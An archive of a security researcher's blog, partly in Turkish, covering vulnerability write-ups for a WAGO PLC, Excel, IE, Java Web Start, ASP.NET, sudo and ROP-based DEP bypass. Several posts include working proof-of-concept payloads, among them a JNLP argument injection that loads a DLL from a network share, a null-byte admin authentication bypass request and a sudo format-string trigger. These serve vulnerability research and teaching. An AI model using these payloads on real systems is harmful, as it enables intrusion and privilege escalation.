Canberk Bolat

Silently Fixed Unauthorized Command Injection in WAGO PLC Ethernet

2017-08-01T16:49:00.000+03:00

It's been almost 4 years I didn't blogged anything on anywhere (shame).

Anyway, recently found Unauthorized Command Injection vulnerability in WAGO PLC's web-based management software. Affected device is here (WAGO 750-8202 PFC200 CS 2ETH RS).

P.S: This is not related with CVE-2016-9362.

You would need following tools if you would like to analyze vulnerability by yourself;

Burp Suite
A Web Browser
Binwalk
Code Editor (My fav is Sublime Text, it's so lightweight and have good themes)

If you fire up your MITM proxy (Burp Suite is my choice) and visit web application, eventually you will notice that application do lots of XML HTTP Requests and one of requested URL is /wbm/configtools.php. That endpoint executes some OS commands and shares output with the web application (I know 90's wants it's vulnerabilities back).

While playing with JSON payload sent to configtools.php endpoint, find out that it's possible to inject OS commands into "parameter" JSON value. Injected commands such as uname -a and id.

Results of executed commands.

Bingo! Easy and quick win against a dummy device web-based management software.

To confirm that critical vulnerability in latest version of firmware, simply downloaded the latest firmware from WAGO's web site, extracted it with binwalk (thanks authors of binwalk) and start to review source code.

In the source code, CallConfigtoolByJson function called to JSON request from browser which later call CallConfigtool function to process "parameter" value in JSON payload.

OK, commments and code fixes show that they found it internally (maybe?) and fixed it silently. Requested old firmwares but they didn't send me yet :)

MS12-076 Excel SerAuxErrBar Heap Overflow Vulnerability

2013-05-11T03:42:00.001+03:00

There was a Heap Overflow vulnerability (CVE-2012-1885) in Excel while parsing SerAuxErrBar structure from xls (Excel's old binary format) files. So I decided to took on it (a little bit analysis). But I faced with reality that there is no public debugging symbols for Excel :( When I read advisory [1] I don't understand anything as always 'cause Microsoft only says "A remote code execution vulnerability exists in the way that Microsoft Excel handles specially crafted Excel files. An attacker who successfully exploited this vulnerability could take..". That's shit description :( Then I look for SerAuxErrBar structure and found something on MSDN that describes this structure [2]. But there was another question. "How one could create SerAuxErrBar structure?".

Specification says "The SerAuxErrBar record specifies properties of an error bar". So it should be related with error bar. But WTF is Error Bar [3]? Specification help us again; "An error bar is a set of lines displayed on a chart (section 2.2.3.3) that indicates a range of uncertainty in the measurement of each data points (section 2.2.3.10) in a series (section 2.2.3.9).". So I start with creating a bar chart, set a Error Bar and search for SerAuxErrBar structure in binary format.

I was set my error bars as vertical so started search with 0x03, my ebsrc choice was Custom Values (that means 0x04 should follow 0x03) etc..

After half an hour, I found SerAuxErrBar structure (see below picture).

Another interesting thing in this structure is numValue field. It's 8 byte length and contains an Xnum (WTF is Xnum? Thanks god there are references and converters about Xnum on Internet [4][5]) Xnum is a "64-bit binary floating-point number as specified in [IEEE754]." (from MSDN).

I got following crash after changed some value in SerAuxErrBar structure.

(2514.f0c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for Excel.exe - 
Excel!Ordinal40+0x20b3b2:
00000001`3fd7b3b2 66394808        cmp     word ptr [rax+8],cx ds:00000000`00000008=????
0:000> r
rax=0000000000000000 rbx=0000000000000000 rcx=000000000000089e
rdx=0000000000000002 rsi=0000000000000000 rdi=00000000036fba20
rip=000000013fd7b3b2 rsp=000000000017f690 rbp=0000000000000000
 r8=00000000ffffffff  r9=0000000000000003 r10=00000000004e3570
r11=0000000003656c00 r12=00000000036543c0 r13=000000000443bc80
r14=0000000000000339 r15=00000000ffffffff
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
Excel!Ordinal40+0x20b3b2:
00000001`3fd7b3b2 66394808        cmp     word ptr [rax+8],cx ds:00000000`00000008=????
0:000> kpL 10
Child-SP          RetAddr           Call Site
00000000`0017f690 00000001`3fd51e24 Excel!Ordinal40+0x20b3b2
00000000`0017f6e0 00000001`3fd54d33 Excel!Ordinal40+0x1e1e24
00000000`0017f740 00000001`3fd5c034 Excel!Ordinal40+0x1e4d33
00000000`0017f8b0 00000001`3fd5bca5 Excel!Ordinal40+0x1ec034
00000000`0017fa30 00000001`3fd5b91d Excel!Ordinal40+0x1ebca5
00000000`0017fb00 00000001`3fd5b834 Excel!Ordinal40+0x1eb91d
00000000`0017fbd0 00000001`3fd5ac97 Excel!Ordinal40+0x1eb834
00000000`00181db0 00000001`3fd5aa5f Excel!Ordinal40+0x1eac97
00000000`00181ee0 00000001`3fd5b2d4 Excel!Ordinal40+0x1eaa5f
00000000`00181ff0 00000001`3fd5cddc Excel!Ordinal40+0x1eb2d4
00000000`00183630 00000001`3fd71d1c Excel!Ordinal40+0x1ecddc
00000000`001836b0 00000001`3fd721ee Excel!Ordinal40+0x201d1c
00000000`00183710 00000001`3fd09027 Excel!Ordinal40+0x2021ee
00000000`00183750 00000001`3fcdadba Excel!Ordinal40+0x199027
00000000`00183c00 00000001`3fcf1abb Excel!Ordinal40+0x16adba
00000000`00185e40 00000001`4021805c Excel!Ordinal40+0x181abb

and hours later my journey finished at memmove crash.

0:014> g
(2af8.171c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
MSVCR90!memmove+0xd6:
00000000`721ae306 4c8951f8        mov     qword ptr [rcx-8],r10 ds:00000000`1db3c000=????????????????
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Microsoft Office\Office14\EXCEL.EXE - 
0:000> kv
Child-SP          RetAddr           : Args to Child                                                           : Call Site
00000000`0024f4d8 00000001`3f82517c : 00000000`1dd95a60 00000000`00000000 00000000`00000004 00000000`00000003 : MSVCR90!memmove+0xd6
00000000`0024f4e0 00000001`3f827d1a : 00000000`00000002 00000000`0000000a 00000000`00000002 00000000`00000001 : EXCEL!Ordinal40+0x1a517c
00000000`00251bc0 00000001`3f82878a : 00000000`0000000a 00000000`0000000a 00000000`00000000 00000000`00000000 : EXCEL!Ordinal40+0x1a7d1a
00000000`002523e0 00000001`3f82d798 : 00000000`00000000 00000000`00000000 00000000`1e40df80 00000000`01a60000 : EXCEL!Ordinal40+0x1a878a
00000000`002526c0 00000001`3f832f89 : 00000000`01a60000 00000001`3f85f4a3 00000000`00253240 00000000`00000000 : EXCEL!Ordinal40+0x1ad798
00000000`00252ff0 00000001`3f8266c0 : 00000000`00253240 00000000`00000080 00000000`00000001 00000000`00000000 : EXCEL!Ordinal40+0x1b2f89
00000000`00253020 00000001`3f8264cd : 00000000`002563c0 000007fe`0000001a 00000000`00253240 00000000`1e417f50 : EXCEL!Ordinal40+0x1a66c0
00000000`00253210 00000001`3f825f0f : 00000000`1e417f50 000007fe`e231600c 00000000`00000008 00000000`00253960 : EXCEL!Ordinal40+0x1a64cd
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office14\mso.dll - 
00000000`002533b0 000007fe`e241a48f : 00000000`00000008 00000000`1e417f50 00000000`00253960 00000000`1e417f00 : EXCEL!Ordinal40+0x1a5f0f
00000000`002533f0 000007fe`e2419c01 : 00000000`00000001 00000001`00000001 00000000`1e417f50 00000000`00000001 : mso!Ordinal450+0x28f3
00000000`00253500 000007fe`e2419ed7 : 00000000`000000c6 00000000`00000000 00000000`00000000 00000000`1e41df00 : mso!Ordinal450+0x2065
00000000`002535a0 000007fe`e2419c01 : 00000000`1e41df00 00000000`00000000 00000000`1e427d20 00000000`00275270 : mso!Ordinal450+0x233b
00000000`00253660 000007fe`e241968c : 00000000`000000c6 00000000`0000f002 00000000`0000f002 00000000`1e427d20 : mso!Ordinal450+0x2065
00000000`00253700 000007fe`e2418511 : 00000000`00000008 00000000`00002020 00000000`1e427d20 00000000`00253960 : mso!Ordinal450+0x1af0
00000000`00253870 00000001`3f826056 : 00000000`1e427d20 00000000`1deddd10 00000000`1e427d20 00000000`00002020 : mso!Ordinal450+0x975
00000000`002538e0 00000001`3f80e2e7 : 00000000`00000000 00000000`00002020 00000000`1de9fdb8 00000000`00000000 : EXCEL!Ordinal40+0x1a6056
00000000`002539e0 00000001`3f7e96cd : 00000000`1e003fc0 00000000`1e278fd0 00000000`00000010 00000000`00000000 : EXCEL!Ordinal40+0x18e2e7
00000000`00254cb0 00000001`3f818c14 : 00000000`18efe470 00000000`00255f00 00000000`0025a240 00000000`00000000 : EXCEL!Ordinal40+0x1696cd
00000000`00255e90 00000001`3f7eadba : 00000000`00000001 00000000`00000001 00000000`00000000 00000000`00000000 : EXCEL!Ordinal40+0x198c14
00000000`00256340 00000001`3f801abb : 00000000`00258650 00000000`0025a450 00000000`0025a240 00000000`0025a240 : EXCEL!Ordinal40+0x16adba
00000000`00258580 00000001`3fd2805c : 00000000`00001008 000007fe`00000026 00000000`00000000 00000000`0025ef78 : EXCEL!Ordinal40+0x181abb
00000000`0025ede0 00000001`3fd27ebf : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`0025f260 : EXCEL!Ordinal40+0x6a805c
00000000`0025f090 00000001`4006f88f : 00000000`0025f260 00000000`00000000 00000000`00000001 00000000`00001008 : EXCEL!Ordinal40+0x6a7ebf
00000000`0025f240 00000001`3f79249f : 00000000`000003f8 00000000`00000800 00000000`00000800 00000000`0000bfff : EXCEL!Ordinal40+0x9ef88f
00000000`0025f440 00000001`3f7d3041 : 00000000`00000000 00000000`0000ffff 00000000`00000000 00000001`40cdde30 : EXCEL!Ordinal40+0x11249f
00000000`0025f610 00000001`3f73a32c : 00000000`00000000 00000000`ffffffff 00000000`01af3ff7 00000000`00000800 : EXCEL!Ordinal40+0x153041
00000000`0025f820 00000001`3f7e1b46 : 00000000`00000000 00000000`00000000 00000000`00000000 00000001`00000001 : EXCEL!Ordinal40+0xba32c
00000000`0025f910 00000000`772a652d : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : EXCEL!Ordinal40+0x161b46
00000000`0025f9c0 00000000`7789c521 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0xd
00000000`0025f9f0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x1d

Exploitable? Yes it's exploitable but needs some kung-foo. PoC? Meh, prepare it yourself and e-mail me if you're not exploit kit developer and failed to trigger it :p

References

Metasploit Framework ile Exploit Gelistirme Sunumu

2013-04-11T02:50:00.001+03:00

Uzun bir sure sonra blog yaziyorum sanirim:) Gecenlerde Fatih Ozavci ile Ozgur Yazilim Gunleri 2013'te Metasploit Framework ile Exploit Gelistirme baslikli bir sunum gerceklestirdik. Metasploit Framework yapisi, exploiting (cok yuzeysel) ve ornek moduller uzerinden modul gelistirme konusunda bilgi aktarmaya calistik. Merak edenler icin sunum asagida.

Ayrica umuyorum tekrar bir seyler yazarim buraya yakin zamanda.

Metasploit Framework ile Exploit Gelistirme 2013 1.5 from Canberk Bolat

WebKit cssText NULL Ptr Deref

2012-09-02T20:00:00.000+03:00

Just tested with Chrome 21.0.1180.89 m (latest version)

Crash moment:

0:000> r
eax=00000000 ebx=015ccfb0 ecx=00000000 edx=0014ea24 esi=01e00440 edi=01e44630
eip=58fcd2a8 esp=0014e8b0 ebp=0014e8b4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
chrome_58bf0000!WebCore::CSSValue::cssText+0x8:
58fcd2a8 8b4804          mov     ecx,dword ptr [eax+4] ds:002b:00000004=????????

PoC:

Same bug in old release (19.0.1084.52) http://pastebin.com/Z0pu9jbE

CVE-2012-2760 Session Stealing in mod_auth_openid

2012-08-28T02:06:00.000+03:00

As advisory describing, mod_auth_openid is vulnerable to session stealing. Because "Session ids are stored insecurely in /tmp/mod_auth_openid.db (default filename). The db is world readable and the session ids are stored unencrypted." [1]

Yes, this is important issue and file is accessible by local attackers. But more important issue is database file also accessible by remote attackers in some cases (For example, if application have some kind of arbitrary file download/access vulnerability like LFI) because file is located in tmp folder (apache can access tmp directory) and sqlite db is not encrypted.

SQLite is not supporting database file encryption but there are some external libraries that "provides transparent 256-bit AES encryption of database files". [2]

Dear mod_auth_openid developers, you should use database file encryption. :(

[1] http://seclists.org/fulldisclosure/2012/May/238
[2] http://sqlcipher.net/

Uniform Binary Search Implementation in JavaScript

2012-08-15T17:50:00.000+03:00

Uniform binary search is an optimization of the classic binary search algorithm invented by Donald Knuth and given in Knuth's The Art of Computer Programming. It uses a lookup table to update a single array index, rather than taking the midpoint of an upper and a lower bound on each iteration; therefore, it is optimized for architectures (such as Knuth's MIX) on which

a table lookup is generally faster than an addition and a shift, and
many searches will be performed on the same array, or on several arrays of the same length

(Taken from http://en.wikipedia.org/wiki/Uniform_binary_search)

Just simply implemented in JS from original C source of Knuth's algorithm.

// target = [91, 97, 99, 101, 127, 129, 145]
// will found index of 127 via optimized bin search algo.

thinking...
-----------------
middle of target: 3
127 is bigger than 101
127 is less than 129
127 at index: 4

Source: http://jsfiddle.net/VCtqD/1/

IE Col Element Heap Overflow Vulnerability (CVE-2012-1876) PoC

2012-07-09T03:11:00.001+03:00

IE Col Element Heap Overflow Vulnerability (CVE-2012-1876) PoC
write up soon..
UPDATE: VUPEN (author of this vulnerability) released detailed blog post about this vulnerability.

http://pastebin.com/9L5p7eBP

CVE-2012-1876 IE col element heap overflow PoC
Canberk Bolat - cbolat.blogspot.com

cg's width = 2021161 (2021161 * 100 = 0c0c0c04) (Blink->Flink = cg's width)

(1014.1158): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c04 ebx=02e2bae8 ecx=008cdf88 edx=0c0c0c0c esi=008de480 edi=008983e0
eip=0c0c0c0c esp=02e2b9fc ebp=02e2ba9c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
0c0c0c0c 0c0c            or      al,0Ch

1:019> !heap -x 0c0c0c0c
List corrupted: (Flink->Blink = 0c0c0c04) != (Block = 00890850)
HEAP 00830000 (Seg 00830000) At 00890848 Error: block list entry corrupted

List corrupted: (Blink->Flink = 0c0c0c04) != (Block = 0089d458)
HEAP 00830000 (Seg 00830000) At 0089d450 Error: block list entry corrupted

List corrupted: (Blink->Flink = 0c0c0c04) != (Block = 008a2f38)
HEAP 00830000 (Seg 00830000) At 008a2f30 Error: block list entry corrupted

ERROR: Block 008ccf90 previous size 36d3 does not match previous block size 12
HEAP 00830000 (Seg 00830000) At 008ccf90 Error: invalid block Previous

Uygulama Güvenliği Günü - AppSecTR

2012-06-05T15:16:00.000+03:00

Hemen broşürü bırakıp kaçayım dedim. Detayli bilgi ve kayit için, http://www.appsectr.org

Java Web Start Cmd Arg Injection

2012-02-24T04:24:00.000+02:00

ZDI(ZDI-12-039)[1] tarafından bildirilen ve Oracle Şubat CPU ile Java Web Start'ı etkileyen bir zafiyet yamalandı. Zafiyet kısaca daha önce bir benzerini[2] gördüğümüz türden komut satırı argumanlarina mudahele edebiliyoruz. İlgili zafiyetin PoC kodunu yazmak icin ilk olarak JRE 1.6 u30 versiyonunu sisteme kurdum. javaws.exe'nin bir yedegini aldim ve JRE'yi guncelledim. javaws.exe versiyonu 6.0.300.12, guncellenmis versiyon ise 6.0.310.5. Hemen bir patch diff islemi uyguladim. Patch diff islemi icin onceden PatchDiff2 ve Turbodiff gibi yazilimlardan yararlaniyordum fakat DarunGrim3'e bir sans verdim, inanilmaz derecede sureci kolaylastirmis ve hizlandirmis, kullanmak isteyenlere tavsiye ederim. Ayrıca gozu bozmayan, "hacker dostu" bir web arayuzude var :> www.darungrim.org adresinden indirebilirsiniz. Neyse analize gecelim..

Java Web Start'ta export edilen tek bir fonksiyon var o da "start". Bu fonksiyon/sub-rutin bir dizi islemden sonra WinMain fonksiyonunu cagiriyor ve oradan da sub_401AAC sub-rutin'ine dogru akis yon degistiriyor. sub_401AAC javaw.exe tarafindan calistirilacak komut satiri argumanlarinin parse edildigi fonsiyon. Bu fonksiyon gercekten cok buyuk ve bircok dongu islemleri icerdigi icin ona pek fazla deginmeyecegim.

xrefs to sub_401AAC

Bu fonksiyon JNLP dosyasını parse edip ilgili parametrelerle arguman stringi oluşturuyor ve bu argumanlar javaw.exe sureci baslatiliyor. Java Web Start'ın numarası kısaca bu sekilde.

Advisory[1]'de belirtildigi gibi JNLP dosyasındaki java-vm-args parametresi çift tırnak (") karakterini denetlemedigi için arguman enjekte etmek mumkun. JNLP dosyalarında java-vm-args parametresi <resources> tagı içerisindeki <j2se> taglarında yer almakta. <j2se> tagı kısaca aciklanacak olursa spesifik Java versiyonlarina ozel bir takim JVM heap degerleri vermeyi sagliyor vs..

Ornek bir JNLP dosyasi asagidaki gibi olabilir.
example2.jnlp :

<?xml version="1.0" encoding="utf-8"?>
<jnlp spec="1.0+" codebase="http://localhost/j/h0h0" href="example2.jnlp">
<information>
<title>lol</title>
</information> 
<resources>
<jar href="example.jar"/>
<j2se version="1.6+" java-vm-args='-esa' max-heap-size='16m' initial-heap-size='16m'/>
</resources>
<application-desc main-class="Example"/>
</jnlp>

Patch diff islemi sonucunda farkettim ki cok fazla bir fonksiyonda degisiklik yapilmamis. Bu gercekten iyi birsey, ms11-100 patch diff isleminde bunun cilesini baya cekmistim. Forms Authentication Bypass, Cache vs.. birbiri ile ilgili bir kac bug birden patch edilmisti ve tespiti zordu.

Yukaridaki ekran goruntusu 6.0.310.5 yani Subat CPU paketi ile guncellenmis versiyona ait javaws.exe. Kirmizi kisimlar daha once olmayip ilgili fonksiyona eklenmiş ekstra kodlar anlamına geliyor. 22h yani cift tirnak karakteri icin kontroller (cmp byte ptr [edx+eax], 22h vs..) eklenmis.

Az once vermis oldugum ornek JNLP dosyasi uzerinden bir PoC olusturdum. <j2se> taginin parametrelerini kurcalayarak sonuca ulastim. JNLP argumanlarinin cift tirnak icinde tutuldugu string'in disina kacip asil javaw.exe process'ine ait argumanlara veri enjekte edebilmek icin bircok deneme yaptim. Sonuc olarak asagidaki gibi bir PoC ile komut calistirmak mumkun, exploit'ini malesef paylasmiyorum zira "Java, günümüzde 4,5 milyarı aşkın aygıta güç katmaktadır.." eheh [3]. Ugrasmak isteyenlere yardimci olacak bir ipucu; SysInternals Process Explorer gibi bir yazilim kullanarak JavaWS tarafindan baslatilan javaw.exe surecinin hangi komut satiri argumanlari ile baslatildigina kolayca bakabilirsiniz, debugging vs.. ihtiyaciniz kalmaz.

PoC:
<?xml version="1.0" encoding="utf-8"?>
<jnlp spec="1.0+" codebase="http://localhost/j/h0h0" href="example2.jnlp">
<information>
<title>lol</title>
</information>
<resources>
<jar href="example.jar"/>
<j2se version="1.6+" java-vm-args='-esa -Dsun.java2d.noddraw=true"' max-heap-size='16m" -J-XXaltjvm=C:\xxx "' initial-heap-size='16m'/>
</resources>
<application-desc main-class="Example"/>
</jnlp>

Baslatilacak javaw.exe'ye arguman olarak daha once Ruben Santamarta'nın bahsetmis oldugu -J-XXaltjvm argumanini kullandim.

JRE C:\xxx klasorunde jvm.dll dosyasi var mi diye bir bakacak, varsa calistiracak. C:\xxx yerine bir paylasim klasoru ekleseydim \\IP\x gibi ve o klasorde de jvm.dll dosyasi olsaydi ne olacakti peki? eheh guzel olurdu herhalde :>

[EDIT] Aciga ait metasploit modulude yayinlanmis, o halde bende paylasabilirim. :> C:\xxx yerine \ip\xxx yazip xxx klasorunu paylasima acmak yeterli. Icerisinde jvm.dll adinda bir dosya varsa calistirilacak.

[1] http://www.zerodayinitiative.com/advisories/ZDI-12-039/
[2] http://seclists.org/fulldisclosure/2010/Apr/119
[3] http://www.java.com/tr/about/
[4] http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1

MS11-100 - ASP.NET Forms Auth. Bypass - Revenge of the 0x00

2012-02-16T14:06:00.000+02:00

Microsoft MS11-100 güncellemesi ile geçen ay sonlarına doğru meşhur HashTable Collision DoS (CVE-2011-3414), .NET Forms Authentication Bypass (CVE-2011-3416) v.b. .NET platformunu etkileyen güvenlik açıklarını kapattı. Bu blog girdisinde ele alacağım zafiyet ise .NET Forms Authentication Bypass (Revenge of the NULL Byte).

PHP'nin ortalama 6-7 yıl sonra kapattığı NULL byte zafiyetini hatırlarsınız. LFI açıklarında vs.. varolan dosya uzantılarını PHP atlasın diye LFI atak vektörünün sonuna eklerdik (şimdilerde bu açık kapandı fakat halen eski PHP versiyonlarında varlığını sürdürüyor). Güvensiz bir şekilde string kopyalama işlemlerinde %00 (NULL byte), terminate char olarak kabul edildiği için NULL karakterinden sonraki karakterler ilgili buffer'a kopyalanmıyor. String uzunluğu hesaplama sırasında eğer güvensiz bir kullanım olduğunda fonksiyon sadece NULL karakterine kadar olan kısmın geçerli olduğunu düşünüp ona göre uzunluk gönderiyor. Genel olarak NULL byte ile ilgili saldirilar bu durumlardan oluşuyordu. Mevzu bahis zafiyette string'in uzunluğu hesaplanırken lstrlenW "güvensiz" fonksiyonu kullanıldığı için NULL karakterine kadar hesaplama yapıyor ve ilgili buffer'a NULL karakterinden sonrasını kopyalamıyor. Yani şöyle bir durum girdiniz değer input değişkeni olsun;
input = "username"
len = lstrlenW(input) // input'un karakter uzunluğu - 8
// herhangi bir buffer'a input değişkeninin len karakterini kopyala

Fakat ben input içerisinde NULL byte eklersem yine termination karakteri görevini görecek. MSDN'de de ilgili fonksiyonun vukuatlı olduğu bildiriliyor.

MSDN lstrlenW fonksiyonu uyarısı

Az önceki input değişkenine müdahele edersem eğer;

input = "username%00aaa"
len = lstrlenW(input) // input'un karakter uzunluğu - 8
// herhangi bir buffer'a input değişkeninin len karakterini kopyala

Yine aynı durum oldu ve en sondaki "aaa" işleme dahil edilmedi. Bu tip bir kopyalama işlemini kullanan webengine4.dll Forms Authentication Bypass zafiyetine sebebiyet veriyor. Çünkü System.Web.dll içerisindeki tanımlı giriş yapmış kullanıcı için oluşturulan ticket'i doğrulayan fonksiyon webengine4.dll içerisindeki bu fonksiyon ile kullanıcı adını aldığı için otomatik olarak hak yükseltmeye sebebiyet veriyor.

Saldırganın başarılı olabilmesi için sistem üzerinde geçerli bir kullanıcı adını bilmesi lazım (ki ticket validation sırasında bu daha yüksek hakka sahip kullanıcı olarak yetki kazansın) ve sisteme yeni bir kullanıcı olarak kaydolabilmeye izni olması lazım. Atak vektörü olarak kullanıcı adını VarolanBirKullanıcı%00XX şeklinde sisteme kaydetmesi gerekmektedir. NULL Byte sonrası önemsenmeyeceği için oraya ne girdiğinizin pek bir önemi yok aslında.

Örnek bir saldırıya ait HTTP isteği;

POST /Membership/CreatingUserAccounts.aspx HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0)
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 3966

__EVENTTARGET=...&__EVENTARGUMENT=...&__VIEWSTATE=...&__EVENTVALIDATION=...&ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24UserName=admin%00z&ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24Password=12345a%21&ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24ConfirmPassword=12345a%21&ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24Email=admin%40slimshady.com&ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24Question=slim%3F&ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24Answer=shady&ctl00%24MainContent%24RegisterUser%24__CustomNav0%24StepNextButtonButton=Create+User

HTTP/1.1 200 OK
Connection: close
Date: Wed, 08 Feb 2012 21:32:22 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXAUTH=...; path=/; HttpOnly
Cache-Control: private, no-cache="Set-Cookie"
Content-Type: text/html; charset=utf-8
Content-Length: 22161

ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24UserName=admin%00z

Sonuç olarak saldırgan admin%00z kullanıcı adıyla sisteme başarıyla üye olabilmekte. Ardından login olduğunda ise /Admin/ dizini altındaki dosyalara izni olmasa dahi erişebilmekte, çünkü lstrlenW kullanımından dolayı Ticket doğrulama aşamasında NULL Byte karakteri stringi sonlandırmakta ve kullanıcı adı admin zannedilmektedir. DotNetNuke isimli open-source ASP.NET uygulamasınında ilgili zafiyeti içerdiği söylenmekte. Benim söyleyeceklerim bu kadar, her zaman ki gibi hatırlatma yapayım; yazı içerisinde eksik, hata vs.. varsa ve bildirirseniz çok memnun olurum.

Görüldüğü üzere NULL'da olsa ciddiye almak lazım :)

Is ForeFront Bypassable?

2012-02-03T03:06:00.000+02:00

Is Microsoft's ForeFront bypassable? Maybe yes (not confirmed yet). During a penetration test of one of our clients (on my past job), ForeFront don't allow us to get meterpreter session (expected result lol), when meterpreter copied to disc, ForeFront denied (possible detect it as malicious) outgoing connections of meterpreter. But in another case, we inspect that when you execute your meterpreter executable over Network Share folder, you are bypassing(high possibility, i am not sure it's a feature or not) ForeFront and ForeFront will not check your executable.

Firstly we got an RDP session (we found local administrator password but we need mpreter for some local priv. escalations etc..), mount our local disk to target machine, run meterpreter executable from network share and BINGO! we have a session!

sudo format string vulnerability

2012-02-03T03:02:00.000+02:00

Uygulama Güvenliği dünyasını eski zamanlara geri götüren klasik bir format string bug'i bugün yayınlandı. Zafiyet Sudo 1.8.0 - 1.8.3 p1 sürümlerini etkilemekte. Ilginç olan ise sudo gibi kritik bir uygulamada bu basit hatalar ile karşılaşmak.

easprintf(&fmt2, "%s: %s\n", getprogname(), fmt);
va_start(ap, fmt);
vfprintf(stderr, fmt2, ap);

Görüldüğü üzere ftm2 string'ine getprogname() methodu ile argv[0] (yani kodu çalıştıran dosyanın adı oluyor bu C'de) atanıyor. Ardından vprintf ile yazdırılıyor. ln -s /usr/bin/sudo %n yaparak sudo'ya %n isminde bir link oluşturup açığı tetikleyebilirsiniz. -- Zafiyetten alınmıştır bu kısım --

/tmp $ ln -s /usr/bin/sudo %n
/tmp $ ./%n -D9
*** %n in writable segment detected ***
Aborted
/tmp $

Görüldüğü üzere basit hata & kritik durum. Sanırım uygulama güvenliği kavramını iyi özetliyor. Güvenli günler.

Orjinal Advisory:
http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20120130/2e40de71/attachment-0001.txt

Return-Oriented Programming / DEP Bypass

2011-07-27T11:49:00.000+03:00

Giriş
Öncelikle şunu belirtmekte fayda var bu makale Türkiye güvenlik & hacking topluluğuna destek amaçlı teknik konularda bilgi ve beceri kazandırabilme adına yazılmıştır. Makalede eksik ya da yanlış gördüğünüz kısımları lütfen yorum olarak/e-mail ile bana ulaştırınız gerekli düzenlemeleri hep birlikte yapalım. Ayrıca şunuda belirtmek lazım şuan için bu makalede sadece Windows üzerinde DEP korumasının ROP tekniği ile aşılması ele alınmıştır, başka işletim sistemleri içinde ilerleyen süreçte yazabilirim -vakit olursa- umarım.

"Neden ROP tekniğine ihtiyaç duyuyoruz?" sorusuna cevap olarak DEP diyebiliriz. DEP, Windows sistemlerde Stack'in NX (No eXecute) yani üzerinde kod çalıştırılamaz hale getirilmesini sağlayan bir korunma yöntemidir (Açılımı "Data Execution Prevention"). ROP ise Windows'un DEP korumasını aşmak ve NX Stack üzerinde kod çalıştırabilmek için kullanılan bir tekniktir.

Daha önce exploiting ile uğraşmış olanlar bilirler, ret2lib tekniğini. ROP tekniğide işte tam bu tekniğin yaptığını peşpeşe birçok adrese "return" olarak yapıyor ve bir şekilde stack'i üzerinde kod çalıştırılabilir hale getiriyor ya da Memory'de RWX bir alana Shellcode'unuzu yazmanızı ve çalıştırmanızı sağlıyor (DEP Bypass için birçok yöntem mevcut..). Yani genel amaç mevcut olan kodları register'lardaki değerleri değiştirmek, kullanacağınız API'nin parametrelerini ayarlamak v.b için tekrar kullanmaktır. Mevcut olan kodlardan kastımız ise gadget'lar olarak geçen kod parçaları. Tanım kolay gözüksede birazdan makalenin uygulama kısmında mevcut kodlar ile kod yazmanın zorluklarını çekeceğiz o yüzden rahatlamayın :)

ROP için kısacası şunları diyebiliriz;

ret2lib tekniğine benzer
Code Re-use işlemine dayanmaktadır
DEP Bypass için idealdir
Gadget'lar kullanılmaktadır

Bu makalede VirtualProtect API'si ile Shellcode'umuzun hafızada bulunduğu alanı çalıştırılabilir hale getirerek oraya zıplayacağız. VirtualProtect Tekniğini seçmemin sebebi birçok farklı Windows sistemde işe yarıyor olması.

VirtualProtect fonksiyonunun yapısı aşağıdaki şekildeki gibidir.

VirtualProtect Fonksiyonu [1]

Return Address, stack'de ilk olarak return adres belirtmemiz gerekiyor ki VP fonksiyonu işlemini tamamladığında o adrese geri dönsün.
lpAddress parametresine VP fonksiyonunun korunma şeklini değiştireceği alana işaret eden bir adres girmemiz gerekiyor.
dwSize parametresine VP fonksiyonunun korunma şeklini değiştireceği alanın uzunluğunu girmemiz gerekiyor.
flNewProtect parametresine hafızanın korunma şeklini belirten sabitlerden bir değeri girmemiz gerekiyor. Bu sabitler Şekil-2'deki gibidir.
lpflOldProtect parametresine ise yazılabilir bir hafıza alanından pointer girmemiz gerekiyor, zira VP fonksiyonu bir önceki korunma şekline bakıyor aksi takdirde fonksiyonu başarısız oluyor. Yani bizim gireceğimiz yazılabilir hafıza alanına ait sahte adres VP fonksiyonunu kandırıyor.

Memory Protection Constants [2]

Örneğin 0x10203040 adresinde bir shellcode'umuz var ve uzunluğu 400 byte. Shellcode'umuzun bulunduğu alanın korunma şeklini değiştirmek için VirtualProtect fonksiyonunu çağırmamız Stack üzerinde şu şekilde olacaktır;

0x7C801AD4 - VP()'nin Adresi
0x10203040 - Return Adresi
0x10203040 - lpAddress parametresi
0x00000190 - dwSize parametresi
0x00000040 - flNewProtect parametresi (0x40 = PAGE_EXECUTE_READWRITE)
0x30405060 - lpflOldProtect parametresi (Yazılabilir bir alandaki pointer)

